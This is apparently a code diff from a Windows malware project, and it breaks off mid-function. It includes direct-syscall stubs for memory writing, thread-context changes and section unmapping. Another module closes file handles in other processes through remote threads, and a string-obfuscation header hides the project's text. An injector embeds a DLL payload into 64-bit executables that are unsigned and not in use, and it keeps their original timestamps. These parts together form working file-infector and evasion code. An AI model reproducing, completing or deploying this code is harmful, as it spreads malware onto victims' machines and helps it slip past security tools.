NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
}
NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
}
NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
}
NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
}
NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
}
NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
}
NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
}
@@ -0,0 +1,146 @@
// syscalls.h
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#ifndef SYSCALLS_H
#define SYSCALLS_H
#include <Windows.h>
#ifndef NTSTATUS
using NTSTATUS = LONG;
#endif
struct SYSCALL_ENTRY
{
PVOID pSyscallGadget;
UINT nArgs;
WORD ssn;
};
struct SYSCALL_STUBS
{
SYSCALL_ENTRY NtAllocateVirtualMemory;
SYSCALL_ENTRY NtWriteVirtualMemory;
SYSCALL_ENTRY NtReadVirtualMemory;
SYSCALL_ENTRY NtCreateThreadEx;
SYSCALL_ENTRY NtFreeVirtualMemory;
SYSCALL_ENTRY NtProtectVirtualMemory;
SYSCALL_ENTRY NtOpenProcess;
SYSCALL_ENTRY NtGetNextProcess;
SYSCALL_ENTRY NtTerminateProcess;
SYSCALL_ENTRY NtQueryInformationProcess;
SYSCALL_ENTRY NtUnmapViewOfSection;
SYSCALL_ENTRY NtGetContextThread;
SYSCALL_ENTRY NtSetContextThread;
SYSCALL_ENTRY NtResumeThread;
SYSCALL_ENTRY NtFlushInstructionCache;
};
struct UNICODE_STRING_SYSCALLS
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *;
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING_SYSCALLS ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *;
enum PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessImageFileName = 27
};
struct PROCESS_BASIC_INFORMATION
{
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
};
using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *;
struct PEB_LDR_DATA
{
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
};
using PPEB_LDR_DATA = PEB_LDR_DATA *;
struct RTL_USER_PROCESS_PARAMETERS
{
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING_SYSCALLS ImagePathName;
UNICODE_STRING_SYSCALLS CommandLine;
};
using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *;
struct PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE BitField;
BYTE Reserved3[4];
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
};
using PPEB = PEB *;
struct CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
};
using PCLIENT_ID = CLIENT_ID *;
inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s)
{
p->Length = sizeof(OBJECT_ATTRIBUTES);
p->RootDirectory = r;
p->Attributes = a;
p->ObjectName = n;
p->SecurityDescriptor = s;
p->SecurityQualityOfService = nullptr;
}
extern "C"
{
extern SYSCALL_STUBS g_syscall_stubs;
[[nodiscard]] BOOL InitializeSyscalls(bool is_verbose);
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID);
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG);
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS);
NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID);
NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT);
NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT);
NTSTATUS NtResumeThread_syscall(HANDLE, PULONG);
NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG);
}
#endif
@@ -0,0 +1,106 @@
#include "deadlock.h"
PPROCESS_HANDLE_SNAPSHOT_INFORMATION deadlock::getProcessHandles(HANDLE hProcess) {
ULONG infoLen = 0;
PVOID pHandleInfo = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
while (status == STATUS_INFO_LENGTH_MISMATCH) {
status = NtQueryInformationProcess(
hProcess,
ProcessHandleInformation,
pHandleInfo,
infoLen,
&infoLen
);
pHandleInfo = realloc(pHandleInfo, infoLen);
}
return (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)pHandleInfo;
}
POBJECT_TYPE_INFORMATION GetObjTypeInfo(HANDLE hFile) {
ULONG infoLen = 0;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
POBJECT_TYPE_INFORMATION pObjInfo = NULL;
while (status == STATUS_INFO_LENGTH_MISMATCH) {
status = NtQueryObject(
hFile,
ObjectTypeInformation,
pObjInfo,
infoLen,
&infoLen
);
pObjInfo = (POBJECT_TYPE_INFORMATION)realloc(pObjInfo, infoLen);
}
return pObjInfo;
}
BOOL deadlock::isFileObj(HANDLE hFile) {
auto objTypeInfo = GetObjTypeInfo(hFile);
BOOL result = !wcscmp(objTypeInfo->TypeName.Buffer, L"File");
free(objTypeInfo);
return result;
}
HANDLE deadlock::dupHandle(HANDLE handleValue, HANDLE ownerProcess) {
HANDLE outHandle;
if (DuplicateHandle(
ownerProcess,
handleValue,
GetCurrentProcess(),
&outHandle,
DUPLICATE_SAME_ACCESS,
FALSE,
0
)) {
return outHandle;
}
else {
return NULL;
}
}
LPCSTR deadlock::getFilePath(HANDLE hFile) {
char path[MAX_PATH];
if (GetFinalPathNameByHandleA(hFile, path, MAX_PATH, VOLUME_NAME_DOS)) {
return path;
}
else {
return NULL;
}
}
static FARPROC NtCloseAddress = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtClose");
HANDLE deadlock::remoteCloseHandle(HANDLE hProcess, HANDLE handleValue) {
return CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)NtCloseAddress,
(LPVOID)handleValue,
0,
0
);
}
BOOL deadlock::isDiskFile(HANDLE hFile) {
return GetFileType(hFile) == FILE_TYPE_DISK;
}
@@ -0,0 +1,34 @@
#pragma once
#include <iostream>
#include "ntapi.h"
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
{
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
namespace deadlock {
PPROCESS_HANDLE_SNAPSHOT_INFORMATION getProcessHandles(HANDLE hProcess);
HANDLE dupHandle(HANDLE handleValue, HANDLE ownerProcess);
BOOL isFileObj(HANDLE hFile);
LPCSTR getFilePath(HANDLE hFile);
BOOL isDiskFile(HANDLE hFile);
HANDLE remoteCloseHandle(HANDLE hProcess, HANDLE handleValue);
}
File diff suppressed because it is too large Load Diff
+172
View File
@@ -0,0 +1,172 @@
/*
* Copyright 2017 - 2021 Justas Masiulis
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef JM_XORSTR_HPP
#define JM_XORSTR_HPP
#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
#include <arm_neon.h>
#elif defined(_M_X64) || defined(__amd64__) || defined(_M_IX86) || defined(__i386__)
#include <immintrin.h>
#else
#error Unsupported platform
#endif
#include <cstdint>
#include <cstddef>
#include <utility>
#include <type_traits>
#include <ctime>
#include <chrono>
#include <random>
#include <algorithm>
#include <numeric>
#include <cmath>
#include <memory>
#include <functional>
#include <string>
#include <iostream>
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#ifdef _MSC_VER
#define XORSTR_FORCEINLINE __forceinline
#else
#define XORSTR_FORCEINLINE __attribute__((always_inline)) inline
#endif
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed;
for (char c : __TIME__)
value = static_cast<std::uint32_t>((value ^ c) * 16777619ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<2166136261 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
#endif // include guard
@@ -0,0 +1,219 @@
/**
* common macro define
* v0.1, developed by devseed
*/
#ifndef _COMMDEF_H
#define _COMMDEF_H
#define COMMDEF_VERSION 100
#include <stdio.h>
#include <stdint.h>
// function declear macro
#if defined(_MSC_VER) || defined(__TINYC__)
#ifndef STDCALL
#define STDCALL __stdcall
#endif
#ifndef NAKED
#define NAKED __declspec(naked)
#endif
#ifndef INLINE
#define INLINE __forceinline
#endif
#ifndef EXPORT
#define EXPORT __declspec(dllexport)
#endif
#else
#ifndef STDCALL
#define STDCALL __attribute__((stdcall))
#endif
#ifndef NAKED
#define NAKED __attribute__((naked))
#endif
#ifndef INLINE
#define INLINE __attribute__((always_inline)) inline
#endif
#ifndef EXPORT
#define EXPORT __attribute__((visibility("default")))
#endif
#endif // _MSC_VER
#if defined(__TINYC__) // fix tcc not support inline
#ifdef INLINE
#undef INLINE
#endif
#define INLINE
#endif // __TINYC__
#ifndef IN
#define IN
#endif // IN
#ifndef OUT
#define OUT
#endif // OUT
#ifndef OPTIONAL
#define OPTIONAL
#endif // OPTIONAL
// log macro
#ifndef LOG_LEVEL_
#define LOG_LEVEL_
#define LOG_LEVEL_ERROR 1
#define LOG_LEVEL_WARNING 2
#define LOG_LEVEL_INFO 3
#define LOG_LEVEL_DEBUG 4
#define LOG_LEVEL_VERBOSE 5
#define LogTagPrintf(format, tag, ...) \
printf("[%s,%d,%s,%s] ", __FILE__, __LINE__, __func__, tag);\
printf(format, ##__VA_ARGS__);
#define LogTagWprintf(format, tag, ...) \
printf("[%s,%d,%s,%s] ", __FILE__, __LINE__, __func__, tag);\
wprintf(format, ##__VA_ARGS__);
#define DummyPrintf(format, ...)
#define LOG(format, ...) LogTagPrintf(format, "I", ##__VA_ARGS__)
#define LOGL(format, ...) LogTagWprintf(format, "I", ##__VA_ARGS__)
#define LOGe(format, ...) LogTagPrintf(format, "E", ##__VA_ARGS__)
#define LOGLe(format, ...) LogTagWprintf(format, "E", ##__VA_ARGS__)
#define LOGw(format, ...) LogTagPrintf(format, "W", ##__VA_ARGS__)
#define LOGLw(format, ...) LogTagWprintf(format, "W", ##__VA_ARGS__)
#define LOGi(format, ...) LogTagPrintf(format, "I", ##__VA_ARGS__)
#define LOGLi(format, ...) LogTagWprintf(format, "I", ##__VA_ARGS__)
#define LOGd(format, ...) LogTagPrintf(format, "D", ##__VA_ARGS__)
#define LOGLd(format, ...) LogTagWprintf(format, "D", ##__VA_ARGS__)
#define LOGv(format, ...) LogTagPrintf(format, "V", ##__VA_ARGS__)
#define LOGLv(format, ...) LogTagWprintf(format, "V", ##__VA_ARGS__)
#endif // LOG_LEVEL_
#ifndef LOG_LEVEL
#define LOG_LEVEL LOG_LEVEL_INFO
#endif // LOG_LEVEL
#if LOG_LEVEL < LOG_LEVEL_WARNING
#undef LOGw
#undef LOGLw
#define LOGw DummyPrintf
#define LOGLw DummyPrintf
#endif // LOG_LEVEL_WARNING
#if LOG_LEVEL < LOG_LEVEL_INFO
#undef LOGi
#undef LOGLi
#define LOGi DummyPrintf
#define LOGLi DummyPrintf
#endif // LOG_LEVEL_INFO
#if LOG_LEVEL < LOG_LEVEL_DEBUG
#undef LOGd
#undef LOGLd
#define LOGd DummyPrintf
#define LOGLd DummyPrintf
#endif // LOG_LEVEL_DEBUG
#if LOG_LEVEL < LOG_LEVEL_VERBOSE
#undef LOGv
#undef LOGLv
#define LOGv DummyPrintf
#define LOGLv DummyPrintf
#endif // LOG_LEVEL_VERBOSE
// util macro
#define DUMP(path, addr, size) \
FILE *fp = fopen(path, "wb"); \
fwrite(addr, 1, size, fp); \
fclose(fp);
// inline functions
static INLINE size_t inl_strlen(const char *str1)
{
const char* p = str1;
while(*p) p++;
return p - str1;
}
static INLINE int inl_stricmp(const char *str1, const char *str2)
{
int i=0;
while(str1[i]!=0 && str2[i]!=0)
{
if (str1[i] == str2[i]
|| str1[i] + 0x20 == str2[i]
|| str2[i] + 0x20 == str1[i])
{
i++;
}
else
{
return (int)str1[i] - (int)str2[i];
}
}
return (int)str1[i] - (int)str2[i];
}
static INLINE int inl_stricmp2(const char *str1, const wchar_t *str2)
{
int i=0;
while(str1[i]!=0 && str2[i]!=0)
{
if ((wchar_t)str1[i] == str2[i]
|| (wchar_t)str1[i] + 0x20 == str2[i]
|| str2[i] + 0x20 == (wchar_t)str1[i])
{
i++;
}
else
{
return (int)str1[i] - (int)str2[i];
}
}
return (int)str1[i] - (int)str2[i];
}
static INLINE int inl_wcsicmp(const wchar_t *str1, const wchar_t *str2)
{
int i = 0;
while (str1[i] != 0 && str2[i] != 0)
{
if (str1[i] == str2[i]
|| str1[i] + 0x20 == str2[i]
|| str2[i] + 0x20 == str1[i])
{
i++;
}
else
{
return (int)str1[i] - (int)str2[i];
}
}
return (int)str1[i] - (int)str2[i];
}
static INLINE uint32_t inl_crc32(const void *buf, size_t n)
{
uint32_t crc32 = ~0;
for(size_t i=0; i< n; i++)
{
crc32 ^= *(const uint8_t*)((uint8_t*)buf+i);
for(int i = 0; i < 8; i++)
{
uint32_t t = ~((crc32&1) - 1);
crc32 = (crc32>>1) ^ (0xEDB88320 & t);
}
}
return ~crc32;
}
static INLINE void* inl_memset(void *buf, int ch, size_t n)
{
char *p = (char *)buf;
for(size_t i=0;i<n;i++) p[i] = (char)ch;
return buf;
}
static INLINE void* inl_memcpy(void *dst, const void *src, size_t n)
{
char *p1 = (char*)dst;
char *p2 = (char*)src;
for(size_t i=0;i<n;i++) p1[i] = p2[i];
return dst;
}
#endif // _COMMDEF_H
/**
* history
* v0.1, initial version
*/
@@ -0,0 +1,372 @@
/**
* Attach dll in exe as memory module
* v0.3.6, developed by devseed
*/
#include <stdio.h>
#define WINPE_IMPLEMENTATION
#define WINPE_NOASM
#include "winpe.h"
#include <assert.h>
#include <windows.h>
#include <fstream>
#include <wintrust.h>
#include <softpub.h>
#include <chrono>
#include <iomanip>
#include <filesystem>
#include "../Encrypt.h"
#pragma comment(lib, "wintrust.lib")
// these functions are stub function, will be filled by python
#include "winmemdll_shellcode.h"
#include <vector>
#include <iostream>
#define FUNC_SIZE 0x400
#define SHELLCODE_SIZE 0X2000
std::vector<uint8_t> pyldyy = {
0x4D, 0x5A, 0x00
};
#ifdef _WIN64
#define g_oepinit_code g_oepinit_code64
#define g_memreloc_code g_memreloc_code64
#define g_membindiat_code g_membindiat_code64
#define g_membindtls_code g_membindtls_code64
#define g_findloadlibrarya_code g_findloadlibrarya_code64
#define g_findgetprocaddress_code g_findgetprocaddress_code64
#else
#define g_oepinit_code g_oepinit_code32
#define g_memreloc_code g_memreloc_code32
#define g_membindiat_code g_membindiat_code32
#define g_membindtls_code g_membindtls_code32
#define g_findloadlibrarya_code g_findloadlibrarya_code32
#define g_findgetprocaddress_code g_findgetprocaddress_code32
#endif
void _makeoepcode(void* shellcode,
size_t shellcoderva, size_t dllrva,
DWORD orgexeoeprva, DWORD orgdlloeprva)
{
// bind the pointer to buffer
size_t oepinit_end = sizeof(g_oepinit_code);
size_t memreloc_start = FUNC_SIZE;
size_t membindiat_start = memreloc_start + FUNC_SIZE;
size_t membindtls_start = membindiat_start + FUNC_SIZE;
size_t findloadlibrarya_start = membindtls_start + FUNC_SIZE;
size_t findgetprocaddress_start = findloadlibrarya_start + FUNC_SIZE;
// fill the address table
size_t* pexeoeprva = (size_t*)(g_oepinit_code + oepinit_end - 8 * sizeof(size_t));
size_t* pdllbrva = (size_t*)(g_oepinit_code + oepinit_end - 7 * sizeof(size_t));
size_t* pdlloeprva = (size_t*)(g_oepinit_code + oepinit_end - 6 * sizeof(size_t));
size_t* pmemrelocrva = (size_t*)(g_oepinit_code + oepinit_end - 5 * sizeof(size_t));
size_t* pmembindiatrva = (size_t*)(g_oepinit_code + oepinit_end - 4 * sizeof(size_t));
size_t* pmembindtlsrva = (size_t*)(g_oepinit_code + oepinit_end - 3 * sizeof(size_t));
size_t* pfindloadlibrarya = (size_t*)(g_oepinit_code + oepinit_end - 2 * sizeof(size_t));
size_t* pfindgetprocaddress = (size_t*)(g_oepinit_code + oepinit_end - 1 * sizeof(size_t));
*pexeoeprva = orgexeoeprva;
*pdllbrva = dllrva;
*pdlloeprva = dllrva + orgdlloeprva;
*pmemrelocrva = shellcoderva + memreloc_start;
*pmembindiatrva = shellcoderva + membindiat_start;
*pmembindtlsrva = shellcoderva + membindtls_start;
*pfindloadlibrarya = shellcoderva + findloadlibrarya_start;
*pfindgetprocaddress = shellcoderva + findgetprocaddress_start;
// copy to the target
memcpy(shellcode, g_oepinit_code, sizeof(g_oepinit_code));
memcpy((uint8_t*)shellcode + memreloc_start, g_memreloc_code, sizeof(g_memreloc_code));
memcpy((uint8_t*)shellcode + membindiat_start, g_membindiat_code, sizeof(g_membindiat_code));
memcpy((uint8_t*)shellcode + membindtls_start, g_membindtls_code, sizeof(g_membindtls_code));
memcpy((uint8_t*)shellcode + findloadlibrarya_start,
g_findloadlibrarya_code, sizeof(g_findloadlibrarya_code));
memcpy((uint8_t*)shellcode + findgetprocaddress_start,
g_findgetprocaddress_code, sizeof(g_findgetprocaddress_code));
}
size_t _sectpaddingsize(void* mempe, void* mempe_dll, size_t align)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
size_t _v = (pOptHeader->SizeOfImage + SHELLCODE_SIZE) % align;
if (_v) return align - _v;
else return 0;
}
bool IsFileInUse(const std::string& filePath) {
// Attempt to open the file with write access and no sharing
HANDLE hFile = CreateFileA(
filePath.c_str(),
GENERIC_WRITE,
0, // No sharing: exclusive access
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
if (error == ERROR_SHARING_VIOLATION || error == ERROR_ACCESS_DENIED) {
return true; // The file is in use or access is denied
}
}
else {
// If we can open the file, close the handle
CloseHandle(hFile);
}
return false; // The file is not in use
}
bool IsSignedByValidCertificate(const std::string& filePath) {
// Convert the file path to a wide string
std::wstring wideFilePath(filePath.begin(), filePath.end());
WINTRUST_FILE_INFO fileInfo = { 0 };
fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
fileInfo.pcwszFilePath = wideFilePath.c_str();
fileInfo.hFile = NULL;
fileInfo.pgKnownSubject = NULL;
WINTRUST_DATA wintrustData = { 0 };
wintrustData.cbStruct = sizeof(WINTRUST_DATA);
wintrustData.dwUIChoice = WTD_UI_NONE;
wintrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
wintrustData.dwUnionChoice = WTD_CHOICE_FILE;
wintrustData.pFile = &fileInfo;
wintrustData.dwStateAction = WTD_STATEACTION_VERIFY;
wintrustData.dwProvFlags = WTD_SAFER_FLAG;
wintrustData.hWVTStateData = NULL;
wintrustData.pwszURLReference = NULL;
GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
LONG result = WinVerifyTrust(NULL, &policyGUID, &wintrustData);
wintrustData.dwStateAction = WTD_STATEACTION_CLOSE;
return (result == ERROR_SUCCESS);
}
std::string datanam;
bool IsPE64NotOpenNoRBData(const std::string& filePath) {
// Check if the file is open by another process
if (IsFileInUse(filePath)) {
//std::cerr << EC("The file is currently in use by another process: ") << filePath << std::endl;
return false;
}
// Open the file
std::ifstream file(filePath, std::ios::binary | std::ios::in);
if (!file.is_open()) {
//std::cerr << EC("Failed to open file: ") << filePath << std::endl;
return false;
}
// Read the DOS header
IMAGE_DOS_HEADER dosHeader;
file.seekg(0, std::ios::beg);
file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
// Verify DOS header
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
//std::cerr << EC("Invalid DOS header signature.") << std::endl;
return false;
}
// Move to NT Headers
file.seekg(dosHeader.e_lfanew, std::ios::beg);
// Read NT Headers
IMAGE_NT_HEADERS64 ntHeaders;
file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS64));
// Verify NT header
if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) {
//std::cerr << EC("Invalid NT header signature.") << std::endl;
return false;
}
// Check if the file is a 64-bit executable
if (ntHeaders.FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
// std::cerr << EC("The file is not a 64-bit executable.") << std::endl;
return false;
}
// Read Section Headers
std::vector<IMAGE_SECTION_HEADER> sectionHeaders(ntHeaders.FileHeader.NumberOfSections);
file.read(reinterpret_cast<char*>(sectionHeaders.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
// Check for .rbdata section
for (const auto& section : sectionHeaders) {
std::string sectionName(reinterpret_cast<const char*>(section.Name), 8);
sectionName.erase(std::find(sectionName.begin(), sectionName.end(), '\0'), sectionName.end()); // Remove null padding
/*std::cout << sectionName << std::endl;
std::cout << section.VirtualAddress << std::endl;
std::cout << section.SizeOfRawData << std::endl;*/
if (sectionName == datanam.c_str()) {
//std::cerr << EC("The file contains a .rcdata section. and it is: ") << filePath << std::endl;
return false;
}
if (sectionName.empty() && section.VirtualAddress == 0 && section.SizeOfRawData == 0) {
std::cout << EC("PROBLEM: ") << filePath << std::endl;
return false;
}/**/
}
// Check if the file is signed by a valid code signing certificate
if (IsSignedByValidCertificate(filePath)) {
//std::cerr << EC("The file is signed by a valid code signing certificate: ") << filePath << std::endl;
return false;
}
// If all checks pass, return true
return true;
}
namespace fs = std::filesystem;
void* mempe_dll = NULL;
size_t mempe_dllsize = 0;
int injectdll_mem(const char* exepath)
{
fs::file_time_type original_time = fs::last_write_time(exepath);
std::cout << EC("CK 1") << std::endl;
size_t exe_overlayoffset = 0;
size_t exe_overlaysize = 0;
void* mempe_exe = NULL;
size_t mempe_exesize = 0;
size_t imgbase_exe = 0;
IMAGE_SECTION_HEADER secth = { 0 };
char shellcode[SHELLCODE_SIZE];
std::cout << EC("CK 2") << std::endl;
// Load exe and dll PE
mempe_exe = winpe_memload_file(exepath, &mempe_exesize, TRUE);
if (!mempe_exe) {
printf(EC("Failed to load PE file: %s\n"), exepath);
return -1;
}
if (!mempe_dll)
{
mempe_dll = winpe_memload_buffer(pyldyy.data(), pyldyy.size(), &mempe_dllsize, TRUE);
}
std::cout << EC("CK 3") << std::endl;
void* mempe = mempe_exe;
